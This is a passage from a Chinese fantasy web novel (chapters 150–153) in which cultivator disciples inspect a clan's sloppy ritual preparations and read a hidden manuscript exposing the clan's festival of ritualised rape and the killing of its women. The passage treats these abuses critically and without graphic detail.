“不过也算因祸得福,”明易正色道,“没想到师父为我们提供了不少信息。” “对啊!”曾换月还有些混乱,拿起桌上的信仔细看了看,“首先,既然师父说那些女人不是病死的就肯定不是,若真是严重到会死的疾病,那心脏定也会遭到影响,师父怎么可能取这样的心脏给师姐呢?” 第150章 明易颔首道:“不错,看来是楚汴骗了我们。” “不只是楚汴。”石映心说,“所有族人都在骗我们。” “哎呀!”曾换月有些可惜道,“之前绑架那个丢垃圾的人,光顾着问高禖殿的问题了!” “当时是我们没想到。”明易沉吟片刻,“看来还是要再绑个人问问七年前的事。” 石映心却摇摇头道:“我总觉得,这些族人知道的真相并不完全,还是找个机会让我照郑银仁为好,最好一并将祭祀大典的事也问了。” “映心。”明易皱起眉头,“你如今情况特殊,谨慎起见,还是先不要用照人之术。我们麻烦点也没事。” 石映心抿了下唇:“嗯。” 曾换月看看师姐,又看看师兄:“那我们现在……” 明易斟酌道:“说来,还没去看看他们的祭祀大殿准备得如何了,只是观摩准备情况的话,郑银仁应该不会说什么。” “好。” 族人们做准备的地方是在城主府不远处的一套空房子里,路上问了两个族人便找到了;一到那发现还挺热闹,门口堆着一些祭祀用品,进出许多族人,感觉这几日城中冷清,也是因为大部分的人都来这帮忙了。 好巧的是,三人正好碰到被他们弄晕过去后又醒来的吴志,他正站在门口看着族人们进进出出,脸上像没睡醒似的,瞧着很蠢;见到几人来了,他压根掩盖不住惊讶的表情:“你、你们怎么在这……” 曾换月不太客气道:“我们奉城主之命四处调查,难道不能来这?” “啊?不是……”吴志一下子被她唬住,“当然能来。不过……你们之前去哪了?” 曾换月理所当然道:“就在你们城里随便乱走啊,还能去哪?” “哦……”吴志摸摸脑袋,看了看他们三人又问,“还有两位仙人呢?” 明易说:“日头太晒,他们二人本就有些水土不服,方才不小心中暑了,正在屋中休息。” 吴志点点头:“这几日确实很热。” 他边上的侍卫拿着扇子给副城主扇风,自己也蹭点:“还要热好几个月呢!” 明易客套道:“烈日炎炎,你们还在忙里忙外地准备祭祀,着实辛苦。若是有什么需要帮忙的地方……” 说到这他很微妙地顿了一下,忽然发现自己这客套话说得太顺溜了,简直是脱口而出,其实这会也不必这么客气,于是话锋一转道:“……其实我们也是爱莫能助。” 吴志:oO? 明易微微颔首:“不过既然我们是奉城主之命行事,帮你们查阅一番祭祀的准备情况也是方便的。那……我们便随处看看。” 吴志:Oo?? 不等他反应过来,明易就正大光明地带着两个师妹进去了。给吴志扇风的侍卫连忙拍拍他肩膀:“老大老大,让他们在里头瞎逛可以吗?” “……什么玩意!”吴志这才反应过来,连忙追了进去。 这准备祭祀的人真不少,院子里就挤了一大堆;只是人多呢,也不代表效率高,只要其中有些浑水摸鱼、滥竽充数的,人越多就会越乱。就像三人眼前看到的情景,简直是乱到……一塌糊涂。 首先映入眼帘的是在院子中跳舞的。这也不知道他们跳得是什么舞,穿得花花绿绿乱七八糟的,动作又奇奇怪怪、很不美观;边上敲锣打鼓的节奏还压根听不出来是什么旋律,其中不断夹杂着族人们你绊我我踩你的埋怨声……一片散沙。 吴志在看傻了眼的三人边上煞有其事地介绍道:“这便是我族祭祀天神帝俊的《凤鸟天翟》,族人们要扮作凤凰和天翟的模样跳舞,怎么样,是不是很霸气!” 曾换月:……还凤鸟天翟?我看是野鸡啄米舞。 明易微笑:“嗯,确实……震撼人心。” 说话间,不知谁先出了岔子,只听群魔乱舞中有人大叫一声,人群像牌九一般接二连三横七竖八地倒下,哀嚎声连连。边上那个敲锣的老人停住了手中的动作,摇摇头道:“一支舞练了多少年,每到要派上用场时还是这般差劲!” 他边上打鼓的中年男人宽慰他:“师父,这些跳舞唱歌的是女子干的事,我们男子汉大丈夫本该在战场上冲锋陷阵、以一当十才是!” “呸!”老人本来没什么生气,但一听这话就往边上啐了一口,“老子只差条腿没进棺材了,从小到大就没打过几次架,你们这些扶不上墙的烂泥,还妄想冲锋陷阵、以一当十?顶多肚子上的死肥肉帮着多挡一刀多喘几口气!” “师父,你这么说兄弟们也太过分了……” “别叫我师父!老子没你这么废物的徒弟,一只曲儿教了多久还教不会,你还敲什么鼓?我看这槌子该往你脑袋上敲!” “……” 老人骂爽了,把手上的锣啊槌子的往地上一扔,转头要走,正好撞到看呆了的吴志,他也不怵:“吴副城主,老头子我不干了!” 吴志回过神来,连忙拉住他:“别啊别啊,您可是族中资历最深的老人,这迎神舞没您指导,大伙怎么办啊?” “我是没教吗?老子如今都分不清这些蠢货到底是不上心还是压根学不会!”老人把手一摊,“怎么办?我不知道办,我一个快死的人,能不能让我清静几日!本就没几年活了,再教这些鳖孙是怕我死得不够快是不是?!” 老人家说到后边都面红耳赤、上气不接下气了,看得曾换月都忍不住道:“你们怎么虐待老人啊!” 吴志:…… 他还能说什么,只好挠挠头,好声好气道:“这样吧师父,今儿你就先回去好好休息,明日再坚持一天,后天就是祭祀大典了,过了这回……定不再麻烦您!” 见老人眼一瞪又要开口,吴志不给他拒绝的机会,紧急道:“后日的祭祀大典您也是知道的,城主和少司命都十分看重……千万不能马虎啊!实在是委屈您了……” 老人大概是看在城主和少司命的份上,最后只是冷哼一声甩手离开了,倒是没拒绝。 吴志松了口气,严肃了脸色对那些跳舞的人道:“都给我好好练,谁敢在祭祀大典上出岔子……哼,后果自负!” 那几个还瘫在地上休息的男人不情不愿地应了声,你拉我我扯你地爬了起来。 训完这些人,吴志看向石映心三人,尴尬一笑道:“给你们看笑话了,哈哈。” 石映心点头:“确实好笑。” 吴志:…… 明易微笑道:“我们去别处看看。” 吴志:“……好,这边请。” 他们又去了后厨,看见桌上满满当当地摆了许多吃食,边上站着几个畏手畏脚的厨子,有一个最肥的应该是大厨,这会正在一一试菜。三人瞅了一眼,和她们先前在郑银仁那吃过的大差不差,就是多了些瞧着有些模样的糕点。 那大厨夹一筷子:“呕,太甜了!糖不用钱啊?” 又往边上那碗夹了一筷子:“呕,怎么是咸的,你家吃年糕吃咸的啊?糖和盐分不清不会先蘸点尝尝啊?脑子有没有?” 接着再夹了一筷子,这下子直接把筷子摔了:“呕,真·他·娘·的,简直不是人吃的东西!” “呕,你看着肉熟了么?问你话呢熟了没有?熟了?他·娘·的·你把这碗给我吃玩了,吃不完今儿不准走!” “呕,这是抄菜还是炒沙子?洗都不洗了是吧?什么——没看见?老子把你两眼珠子给戳下来怼菜里看行不行?!” “呕……” 呕。呕。呕。 呕。 包括吴志在内的四人都听不下去了,真怕自己也跟着呕出来,紧急逃离了后厨。见三人一脸难色,吴志开朗道:“没事儿,其实这些都是祭祀的菜品,不是给人吃的。” 石映心:“给你们尊敬的神吃就能这样随便了吗?” 吴志:“额。” 曾换月:“要我是帝俊,但凡贪吃点,瞅见这些玩意转头就走,鸟都不鸟你们。” 吴志:“额……” 明易:“罢了,没有功劳也有苦劳,想来这已经是他们的极限了,毕竟连郑城主吃的都是……咳。” 吴志:“额……” 没话说的,还是赶紧走吧。他们又来到边上的两间屋子,有一间堆着许多祭祀用品,青铜器皿、纸扎祭品之类的,应该是最近才拿出来,有族人在边上擦拭灰尘和清点数量。 旁边还有一间屋子关着门,里头没什么声音,明易要推门进去的时候还遭到了看守族人的阻拦,说什么“闲杂人等不得入内”,还是吴志过来说了一句,那族人才放她们进去。 哎呦,还有人看着,看来和其他乱七八糟的准备比起来,这屋子里的东西有些名堂啊? 几人好奇地进了屋,里边有些空荡,显眼地平挂着两件厚重华丽的衣物,应是祭服。深青底色,五彩纹样,繁复得让人落不下视线。石映心瞧见两件祭服的正中都画着有些不同但很相似的…… “野鸡?” 吴志跳起来:“这是凤鸟天翟!是我们的三足乌神!” 曾换月:“就是传说中的凤凰啦,师姐。” 石映心无辜眨眼:“我没见过凤凰,你们这两只绣得像奇怪的野鸡。” 吴志有些不高兴道:“谁会把野鸡绣在如此贵重的祭服上?肯定是我们的凤凰啊。” 石映心便问:“你见过凤凰?” “……没有。” “那你怎么知道凤凰长什么模样,这画也不过是你们族人的瞎想。” “!”吴志被她气得跺脚,又没法反驳,只好摆没人看的脸色。【】 150-160 第151章 明易在一边解释道:“传说凤凰是鸡头,燕颌,蛇颈,鸿身,鱼尾,髌翼,五色以文。将这些动物的元素结合在一起,很难做到协调,奇怪也是难免的。” 石映心看着祭服上的两只鸟:“上次见这么奇怪的东西还是秘境中的妖怪。没想到赫赫有名的凤凰是这般模样。” 曾换月摆摆手:“肯定不是他们绣的这样啦!” 吴志:…… 明易笑了笑道:“凤凰神鸟,是上古初民口中的阳之精;日中有踆乌,说的便是凤凰三足乌,传闻是帝俊的化身。” 总算有个不文盲的了,吴志松了口气道:“不错,正是明仙人说的这样。我们祭祀帝俊,自然要在祭服上绣上天神的化身;这两件便是城主和少司命后日在祭祀大典上要穿的祭服,是不是很华贵……” 他话音未落,曾换月忽然道:“咦,那里还有面具!” 见她要去拿一边桌上的面具,吴志下意识大喝一声:“别动!” 曾换月被他一吓,不高兴地把手缩了回来,撇嘴道:“我想拿起来仔细看看都不行啊?” 吴志死死盯着她的手,脸色还是很紧张:“画这两副面具,还有绣这两件祭服的人都已经死了,如今我们城中暂无族人再有这般的手艺……” 原来是孤件啊,三人了然。 石映心打量着这两副面具,与她先前在人间集会上看到的那些古怪的鬼脸不同,它们并不是脸谱面具,更像是一种装饰;面具的大致形状也是三足乌,展开的双翼挖了两个眼孔,鸟头高高扬起,下边的羽翼和三足规则地分散开。 做工很精美;看大小是盖不住全脸的,留了小下半张脸。 这时候她敏锐地察觉到两件祭服和两份面具的微妙不同之处,比如少司命的服装更艳丽些,面具更小巧些。 于是便问道:“为何少司命的衣装像是女子的服饰?” 吴志闻言,有些诧异道:“你还挺有眼力,确实是女子的服饰。” 曾换月以为是这样的:“难道你们之前的少司命是女人?然后做这些衣服的人也是女人,因为女人都死光了,只好让楚汴穿旧衣服?” “那倒不是,楚汴做我们的少司命有十余年了,而且……”吴志抓了抓脖子道,“实不相瞒,其实这两件祭服和面具都是女人的服饰;我族祭祀时,大司命和少司命都要扮做女人的模样,如此才会受到天神眷顾。” 三人:OO? 他们一时没听懂啊。曾换月语气古怪地问:“这是你们两个司命的癖好还是帝俊的癖好?” “不知道啊。”吴志一脸不知情,“这是先祖传下来的规矩,我们后代也不过是照做罢了。” 明易问:“难道你们没有试过不扮做女人去祭祀?” “试过的,城主和少司命试过两回,但都没用;后来扮作女人去求了雨,马上就下了。” 三人面面相觑,隐约觉得这是一个重要的线索,但目前没有苗头。只是石映心又问了一句:“那如果不是让男人扮女人,而是就让女人祭祀,结果如何?” 真是一个好问题,居然让吴志陷入了思考。这家伙想了一会,皱着眉道:“不知道啊,没人试过。不过大司命一般是城主担任,少司命则是由楚家男子传承;这两个在我族最重要的尊贵身份,如何能落在女子身上?” 话说到这里真是没话可说了。 三人打量了祭服和面具一会,似乎看不出什么了;于是离开了屋子去其他地方又瞅了些有的没的,真是消磨了不少时间,最后回到休息处时还有点累呢。 曾换月咕噜噜喝了一大杯水,“哈”了一声道:“这真是我看过最埋汰的祭祀准备!” 明易也道:“本来见三足乌族对天神帝俊仰慕三尺,城中又处处有三足乌神像的存在,还以为他们 对此祭祀一事应也很上心才是;如今一看……真是过于随意了。” “不过,”石映心说,“那些祭服、面具,以及一些先前流传下来的物件倒是很精美;迎神舞如果跳整齐了,大概也够看。” “这只能说明是七年前那些女人还在的时候,这些事儿都是她们在操办,而且操办得有模有样!”曾换月冷哼一声道,“现在轮到这些男的了,一个个只会嘴上吹牛、做表面功夫;结果也看到了,也不知道是真蠢还是装傻!” 石映心扯了个讥笑:“是真蠢,也是装傻,所以没了勤能补拙的可能。” 曾换月听了也笑道:“师姐说得不错!啧,虽然他们族祭祀不关我事吧,但我方才在里头瞧见他们那种要死不活的样子,真是拳头痒啊……” “你怎么又拳头痒啊?” 她话音未落,外头传来一声调侃;这是二师兄的声音,三人闻声望去,果真见他和乐鸿一同回来了;二人皆是精疲力竭、心力交瘁的模样,看起来已经燃尽了。 此时,窗外的天色已然全黑。 二人坐下喝茶休息。顾梦真拉了拉身上的衣服,一脸难受道:“虽然已经用了澄净诀,但还是感觉身上沙沙的,好难受哦,我看晚上洗个澡好了。” 乐鸿也点了点头表示赞同。 明易见二人累得不想说话的模样,心中有些同情:“二位先歇会,听了我们这边的消息再说吧。” “好啊好啊。” 明易不紧不慢道:“我们回城时有去子福泉看过,泉水里确实有和湖底发现的三足乌神像类似的神力,不过并无其他异样;回到城中我们将吴志放走后,收到了门派的来信,映心的事暂且有了解释;之后我们去看……” 如此如此,这般这般。 二人听得也是很无语,乐鸿摇摇头,开口说话声有些沙哑:“就算祭祀一事重在诚心,不拘泥于形式;但如此不上心,也是有些……” 顾梦真呵呵一笑道:“就这样那帝俊还帮他们的话,这天神也太好脾气了。” 她们这边的事儿说完了,曾换月迫不及待地问:“你们那边情况如何?怨鬼都解决了吗?” “解决了。”顾梦真扯了个心累的笑,“到后边虽然有些混乱,个别鬼不愿被超度,有些要造反的意思,不过好在数量不多,都被我和乐鸿控制住了;一整天忙活,还是多亏了乐鸿,喉咙都念破了。” 乐鸿谦虚地说没有没有,顾道友也出了很多力,声音越说越沙哑没声,连忙喝水续音,然后继续说没事没事,还是要多谢顾道友…… 四人瞅他好可怜啊。 “好了好了乐鸿,”顾梦真拍拍他肩膀,“我知道我的厉害了。对了,咱们不是得了一本书吗?快拿给我大师兄看看,他就爱看这些。” 明易果真一挑眉:“书?” “不错。”乐鸿拿出一本有些陈旧的书来递给明易,“我们把鬼施主们都超度完之后,本想赶紧回来,夜幕之中,顾道友却发现那片湖水消失了……咳咳。” 顾梦真接过话茬:“就很奇怪啊,我们就过去看看怎么回事嘛;那里没了泉水之后就只剩下一个大坑,然后我就想三足乌族女人的尸体可能就埋在这些坑底,所以就和乐鸿开始刨沙。” “刨了一会果然看见很多尸骨,乐鸿就说这些鬼施主太可怜了,他想把尸骨收集起来,之后找个风水好的地方埋了,再给她们立个墓碑什么的;我觉得倒也不是不行啦,但是今天真的太累了,而且这么多尸骨要收集到什么时候,还是改日等你们一起来。” “乐鸿也说好啊好啊。接着我们就打算回来了……可就在这时!”他指了指明易手中的书道,“这本书就开始发光了。” “咳咳,不是发光。”乐鸿强撑着解释道,“是……有一片月光照在了那块地上。” “看起来就像发光,很有指示的意味。”顾梦真挠挠头道,“感觉就像勾引我们去挖一样;然后就挖到了这本书,被抱在两具尸骨的怀中。” 他们解释来龙去脉的时候,明易一边听一边在翻书,他看书不慢,一张一接着张地翻着书页,眉头渐渐地皱起来。大伙见他这么专注,慢慢地也没了说话声,在边上无聊地打着哈欠等待。 太过劳累的顾梦真和乐鸿,脑袋一歪就睡着了;石映心和小师妹也无聊,趴在桌上闭着眼睛,安安静静的,也不知道有没有进入梦乡;屋内只有翻书声,倒是很助眠。 夜深难测,不知过去了多久。 石映心做了个半睡半醒之间的梦,近日她多梦,不过常常起来就忘了,这次也是这样,她奇怪自己也不算睡了,就是意识模糊也没模糊多久,怎么就做了个梦?至于梦到了什么…… 隐约和先前记不得的梦有关联,但都说记不得了,所以也不知道什么关联。 石映心打了个哈欠,耳边听到轻微的翻书声,转头一看,正好和大师兄对上视线。 大师兄朝她笑了笑:“太晚了,回屋里睡吧,有什么事明日再说。” 石映心觉得大师兄这时候笑得很温柔,让她感到整个人被软软地包裹着,下意识点了点头,很快又回过神来,摇摇头道:“不,大师兄你现在就说吧。” “大家都累了。” “再累也得先叫醒了再回屋,既然都醒了也不差听你说两句。” 明易:……别说还挺有道理。 于是把其余三人叫醒。曾换月打着哈欠问:“大师兄你看好了?书上到底写了什么?” 明易看了看很快打起精神的四人,微微颔首道:“其实这本书是出自三足乌族一位老夫人之手,她叫楚欣。”—— 作者有话说:最近有些事忙,每天更新时间会有些不稳定尽量不断更,但以防万一还是提前说一下辛苦宝们追更,感恩的心 第152章 “姓楚?”顾梦真问,“不会和那个楚汴有关吧?” “不错。”明易说,“她应是楚家的长辈,写这本书时应是四五十年岁。她在书上说,她自幼跟着父母在梵音洲生活,逢年过节才回三足乌城。因族中信仰帝俊,因此与当时尚未衰败的明家交好,在私塾与几位明家小姐投缘。” “其实三足乌族的大部分族人,像她们家这样长期在外居住的人很少,因此在族内她多少会遭到一些排挤,不过因她是少司命楚家的人,并没有收到多少欺辱;也正因这层身份,她对天神帝俊有着充沛的尊敬和好奇心……于是她渐渐地发现了,三足乌族与外界不同的地方。” 说到这,明易看向乐鸿:“比如,上巳节。” 乐鸿眨眨眼:“三足乌族的上巳节……与梵音洲不同吗?” “嗯。三足乌的上巳节,实际上一场荒唐的抢婚闹剧。” 曾换月:“抢婚是什么意思?” “准确地说,是**。”说到这时,明易冷静的视线看向手中的书,“楚欣写道,‘这是一场披着祭祀天神外衣的欺辱,族人们美名其曰是以·性·交·作祭祀高媒神献礼,然而我族女子皆是被强迫献礼的一方;当那些**她们的男人得逞时,她们便自然而然、无法不情愿地在少司命的祝福下成为奸人的妻妾’。” ……什么? 在其他三人听傻了的死寂中,石映心了然总结道:“原来抢婚的意思是,男人之间抢着·强·奸·女人并将她们娶进家门占为己有。” “嗯。”明易微微颔首,在桌上变出了一张破旧的纸,是李丙的婚契,“如此看来,李丙婚契上所写的‘一见钟情,两情相悦,受少司命祝福成婚’是这样的含义。” “这……”人感到无语和荒唐的时候真的会笑,比如现在的曾换月,“居然能把如此肮脏的途径写成这样吗!真厉害啊,真佩服啊!”说到后边鼓起掌来。 顾梦真一捶桌子:“太不要脸了!” 乐鸿依旧呆傻中:“怎么会……这样?上巳节明明是……”水边设宴、郊外游春,人们会趁此机会相看钟意的男女,以结良缘……明明是这么美好的节日。 明易微微叹出一口气,继续说道:“楚欣说,据她考究,上巳节在许久以前就是这样·淫·乱·的节日;只不过后来经过变化发展,人们取其精华去其糟粕,便成了如今梵音洲的形式;但在三足乌族中……糟粕并没有被舍弃,反倒愈演愈烈。” “可楚欣自幼在梵音洲生活,早已接受不了族内的这些陈规陋习;年轻时她只是躲避,非必要不愿回族中;可世事弄人,七年前,明家一夜之间衰败,她的父母年事已高,只怕不能受信仰崩塌之痛,愿得天神赐福后再长眠,于是她们还是回到了三足乌城。” “不过这次一同回来的还有她年轻貌美、尚未婚嫁的女儿,她瞬间成了族中男子的众矢之的。楚欣本想等爹娘去世之后就举家离开三足 乌族不再归来,没想到她的丈夫却很满意三足乌城的生活,不想再去外边颠沛流离。二人陷入了长久的争执,始终无法说服对方。” “后来她总算下定决心,要休夫弃祖,离开三足乌族,打算等她爹娘一死就走。没想到……”明易的神色变得略有些古怪,“两位老人回到家乡后倒是越发健朗了。” 四人:…… 这真是……好事一桩? “书中提到,楚欣堂哥的儿子,也就是她的堂侄楚汴,医术精湛,在祭祀一事上颇有天赋,年纪轻轻便胜任少司命重职;她爹娘在其医治下颇有好转;父母年事已高,楚欣不忍就这么带女儿离开,斟酌再三,还是决定先尽孝道。” 乐鸿听到这,摇摇头道:“人之常情,换做是我也不忍离开的。” 曾换月扯了下嘴角:“听起来后边的发展很不妙哦。” 明易微微叹了口气,继续道:“楚欣说,她的女儿天真单纯,平日甚少与男子打交道,回到族中后,不知何时被某个黄家小子诓骗,居然背着她开始谈情说爱;楚欣坚决反对,她不想女儿嫁给族人留在这,但没想到她越是反对,二人越是情深。” “有一日她无意中得知,黄家小子诓骗女儿说只要在上巳节得到少司命的祝福,便能顺理成章地喜结良缘;楚欣自然知道族中的上巳节是怎么回事,女儿原先并不相信她,她只好请求族中其他女子帮忙作证……” “没料到族中女子因此得知外界上巳节的真相后,皆是大受震撼、深感被骗之欺辱,不愿再服从族内上巳节的旧规。楚欣本是为了劝导女儿,但见女人们的义愤填膺,心中颇有感触,决心帮她们进谏城主。” “可没想到,郑银仁却以朝廷对三足乌族的区别统治、默许他们族规一事定言,族内的祭祀节日也应会被朝廷允许;再加上族中男子的强烈反对,更改上巳节传统一事步步维艰。” “好贱哦。”曾换月听到这,已经不知道翻了多少个白眼了,“这对他们来说多好的一件事,只要·强·奸·到一个女人就能将她占为己有,这么划算的买卖,那些废物怎么可能会放弃?” “不错。”明易道,“而且在当时,族内的女子也并未完全团结一致地要求废弃上巳节,许多女子身为人母,一心想相夫教子,不愿再折腾;在男子们激烈的反对面前,女人们的抗议显得温和而摇摆,这当然毫无进展。” 明易将手中的书翻了一页:“楚欣很不理解,她试图寻找女子们故步自封的原因……这里她做了很多的分析的推导,举不胜举,暂先略过;总之她最后找到了一个办法,也是受到了梵音洲明家衰弱的启示,她决定……瓦解族人们对帝俊的信仰。” “像三足乌族这样的小族,确实是以宗教信仰为纽带将族人联系在一起。”乐鸿点头表示同意,“而且他们的城主就是祭祀中最重要的大司命,日常求雨求什么都要靠祭祀……” 顾梦真若有所思:“再说上巳节本就是祭祀高禖神,若是连对族人最重要的天神帝俊的信仰都没了,那高禖神自然就会失落了。” 石映心评价:“她是要一招毙命。” “正是如此。”明易说,“她开始调查明家衰弱的原因。为此翻阅了不少古籍资料,寻求了交好的明家人的帮助……历经辗转和波折,总算拨云见日,找到了突破口。” 曾换月竖起耳朵:“什么什么什么?” “帝俊……”明易很微妙地停了停,“是个阴阳神。” 阴阳神? 石映心:“阴阳神是什么意思?” 明易看向她:“简单来说,就是不男不女。” 四人:OO? 石映心:“不男不女是什么意思?到底是男是女?” 明易一时不知如何回答,斟酌道:“原来是女子,但她被封为神祇时,是以男子的身份。” 几个人简直有听没有懂,四脸问号。明易微呼一口气,看向手中的书册,其实身为明家后代的子嗣,楚欣揭露的真相让他感到震撼,但隐约之中,似乎并不那么意外。 以祭祀同一位神祇为连结血脉的大家族的分崩离析,仿佛被一箭穿心般无法挽回;这颗心指的是什么?那定是—— 神祇的失落。 “楚欣在书中枚举了许多例子,都是她对一些古籍和事实探本溯源后的总结,比如……” 曾换月忍不住道:“大师兄你就说两个我们听得懂的例子!” 明易正有此意,颔首道:“好。比如天机阁一程,已经让我们明白了‘帝’的含义……” “啊!”曾换月一拍大腿,“你不说我都没刻意往那边想,‘帝’在帝俊那个时候,应该还是·女·阴·的意思吧!” “不错。”明易颔首道,“这便是最显而易见的证据之一。” 乐鸿虽然不知道她们天机阁的经历,好在人思想宽容开放啊,很快接受了这个设定:“原来是这样,那为何又说是阴阳神呢?” “你们还记得帝俊的化身是什么?” 好学生石映心:“凤凰三足乌,阳之精,日中踆乌。” “不错。楚欣考据,《左传》中提到,远古龙象·女·阴,鸟·象·男·根,龙凤是在后期才进行了易位;但其实最早在羲和常曦那时,日月神皆是女性,想来是后期进行了分化。” “楚欣推测,如果帝俊成神后的化身为凤鸟,便很有这样的可能:因在日月分化之前她本就是凤皇的化身;日月分化之后,龙凤尚未易位,男人们便顺理成章将其供为男神,从而……祭祀至今。” 这有点绕,但好在石映心聪明,她总能在一堆信息找到别人没想到但确有其事的重点:“这么看来,明家的先祖是很古老的且氏族。” 明易顿了顿:“八九不离十。” 石映心在这时候想起常曦字字泣血的控诉: 【为了壮大他们的声誉,厚颜无耻地张冠李戴,不仅篡改了我姐姐的名字,甚至将她归于且氏族,竟变成一个男子!还有大酋长和姬有熊……若不是她们二人声名远播,只怕连名字也要随性别更改。】 【……竟妄想譬如积薪、后来居上;可老天无眼,真让他们成功了。如今世间对这些讹言习非成是、积重难反,大酋长、姐姐与姬有熊的丰功伟绩,都成了他们的荣誉。】 “原来是这样,”她好似明白一些,“维护统治和延续传承需要人们归心于同一个神祇;而倾覆另一个性别的统治,需要壮大自己性别的神祇;可远古日月初神皆为女性,所以只能篡改她们的性别。” 第153章 “不错。”明易道,“甚至还将无法篡改性别的女神拉来做婚配,以来扭曲地证明她们的性别……比如民间流传颇广的,常曦和羲和是帝俊的妻子一事。” 曾换月拍桌气道:“这完全是邪教!邪教!” 顾梦真听得脑子爆炸:“这些人太可怕了!” “以及俊一字,应是通‘夋’,在古文字中像是鸟头人身的怪物,亦是太阳里的踆乌,后来便成为了·男·根·意象;日月龙凤分化后,帝俊一名便成了男女阴阳的混杂体。故楚欣称之为……阴阳神。” “顺便一提,”明易抬眼看向几人,“是楚欣顺便一提,她说如今南部祭祀的东皇太一也是阴阳神。二者皆是在由女而男的进程中,因篡改者无法完全更改真相,而留下了不明显证据的神祇。” “许多上古女神在被迫失落的过程中,有些被成功男性化,有些滞留途中未果;也有些就像帝俊和东皇一般,最后以假性扬名天下,甚至被长久祭祀。只是真相永不会被更改,我想这也是楚欣不愿将她们称为男神或女神,而称之为阴阳神的原因,这确实正是她们如今的处境。” “总而言之,楚欣在得知此事后,便想通过揭穿帝俊阴阳神的真相从而击垮三足乌族的信仰统治,颠覆族内男子主导的局面;届时废弃上巳节不过是顺水推舟。” 说到这,总算是解释完前因后果,明易松了口气,喝了口茶水,看向其余人的反应。 大伙的反应其实很安静。听到这里,比起无法言说的愤怒,更多的是面对既成事实的无奈和郁结。 这个结存在知情人的心中,似乎完全不碍事;一旦你想解开它,就该付出惨痛的代价。 比如,大家都猜想到了:三足乌族女人的全军覆没。 “为了理清这些千头万绪,楚欣决心将这一切编写成一本书,期望人们能借此了解前因后果;但在编写过程中她逐渐发现,三足乌族的男人……甚至是她才来没多久的丈夫,早已沉溺于三足乌族的生活。” 乐鸿摇摇头道:“唉,遇人不淑。” 曾换月翻个白眼:“我一点也不意外!天下的乌鸦都是一般黑!” 顾梦真:“也有黑得不一般的乌鸦啦。” 明易不管他们乱扯,继续说:“……楚欣在丈夫身上很快意识到自己的想法天真,她原先如谦谦公子一般温柔儒雅,善解人意的丈夫,居然从恶如崩,难以回头,何况是那些积习难改的族人;更别提身为大司命的城主,不可能会容忍自己的统治遭到挑战……” “经过多次商议,女人们决定将此事告上朝廷。当时临近三月初三上巳节,她们不愿再遭遇新一轮的惨剧,楚欣为了早日将此书完成,几乎是废寝忘食……那时族内的氛围紧张,有些男人们甚至对女人们进行监视囚禁;总之,状况非常不好,计划败露几乎是避无可避的事。” “败露之后,争执和对抗一触即发。原先楚欣以为,顶多只是双方互不待见、小打小闹罢了,毕竟都是一族人,而且大部分女人都有丈夫和孩子;可没想到……竟接二连三地出现了女子的死亡。” “她很吃惊,因为她们并未做出什么大动作,顶多沉默不配合,完全不至于变成生死攸关的冲突;直到族里的女人们告诉她,男人们不怕失去一个妻子,因为将迎来的上巳节可以让他们得到新的妻子……” “可怖的是,这样节前伤亡并不是特例,往年也屡见不鲜,不过今年更多一些罢了;因为在三足乌族……”明易说到这顿了顿,“这些家暴甚至致死的行为并不会得到多大的惩罚。” “啊!”曾换月听到这,忍不住发出怒吼,“贱人贱人贱人!快让他们全族爆炸!” 石映心面无表情地点头道:“确实都该死。” 顾梦真简直大受震撼:“世上还有这样的地方!?” 乐鸿心中感到很苦楚:“唉……” “楚欣感到无法言说的恐惧。”等大家反应好了,明易语气淡定地继续说道,“她开始怀疑自己的行为是对还是错,不知该不该再想方设法地将此书送出去……就在她犹豫之时,某一天夜里,高禖殿中发生了暴乱。” 顾梦真:“高禖殿?” 曾换月:“那个时候高禖殿里全是女人啊!” 【我与这些高禖殿的女人鲜少接触,族中的姐妹们与她们倒是相处友好,这在梵音洲是很少见的;也许是我先前一直对她们抱有无害却伤人的偏见和歧视……不管如何,这次她们的反抗给了我当头一棒,原来我们并无不同。 对这些男人们来说,女人们互为可替代品,她们的今日就是我们的明日;可于我而言,若我和我女儿的明日是在高禖殿里、上巳节中苦苦挣扎、受尽屈辱,我想我宁愿为了改变明日……于今日视死如归。】 “楚欣在此书的最后这么写到。” 明易将这本不见天日的手抄书轻轻合上。 “为了明天……死在今天吗?”石映心喃喃道,“这样的明天有何意义呢?” “意义便是我们来了。”明易微微停顿,补充道,“虽然来得有些晚。不过……她们还是等到了。” 大伙一时沉默。 “可是……”乐鸿小心翼翼地奇怪道,“即使双方爆发了激烈的冲突,但怎么会是全军覆没呢?难道他们真忍心赶尽杀绝?这些女人中有他们的妻子,他们的母亲……” “不就两种可能嘛?”曾换月竖起两根手指头,“要么是他们觉得没了这些女人也行,别忘了当时他们三足乌族还没被封城呢,估计想着在外边骗女人进来也行呗。” “至于第二个可能……”她嘟了嘟嘴又抿起来,似乎有些难过,“可能是女人们……宁死不屈。” 确实是很有这样的可能。 “唉……”大家长长地叹了口气,心中都很沉重。乐鸿悲伤道:“她们的英勇就义,转头就变成了这些族人口中的染病伤亡,实在是……唉,难怪她们死不瞑目啊!” “怪不得要拿神像镇压呢……”曾换月撇嘴,“生怕被报复吧!若这个帝俊真的在天有灵,怎么会允许他们这样为非作歹?这阴阳神被改了性别也不生气,居然还为虎作伥啊?” 明易客观道:“其实也不是如今的三足乌族改的。而且这种沟通天地借神力的祭祀仪式……很多时候,神祇只是在履行义务。” 石映心:“履行义务?” “我知道明道友的意思,”乐鸿举手发言,“虽然神明神通广大,但也不能干涉人间因果的。就像很多施主来我们梵音寺祈福,说要升官发财娶贵妻……其实他们根本没有这样的因,也不可能结这样的果,甚至在祈福后还是依旧深陷泥沼……” “像这样求神无果的现象是最常见的。”乐鸿道,“但几百年来,我们梵音寺依旧香火旺盛。我年幼时也感到困惑,但如今渐渐明白了……” 他忧伤的目光看向桌上的书:“凡人借到的神力,其实只能催化他们本身的因果;神的力量……不论好坏。” 因果…… 石映心想到了因果牌,这几日她们忙着处理三足乌族这些乱七八糟的事儿,差点忘了这玩意了,连明易都很少提起;这会师妹提起来,他便拿出来看了看,不出意料的,牌上一字未消。 【无我无不我,无相无不相】 真是简单又没法解释的一句话,几人见了还是一脸沉默的茫然。 曾换月挠挠头:“这……乐鸿你之前是怎么说的来着?” 乐鸿:“无我无不我,心本无相无形,可成众生,但本心即灵魂是不变的;无相无不相,诸法皆空无自性,一切都是因缘和合的假象;空性不碍缘起,虽都是假象但依旧会显现。” 顾梦真瞪着他:“你再解释得通俗一点。” 乐鸿睁大眼睛:“已经是很简易明白的解释了。” 顾梦真抄过纸币:“来来来,你写下来,我仔细瞅瞅!” 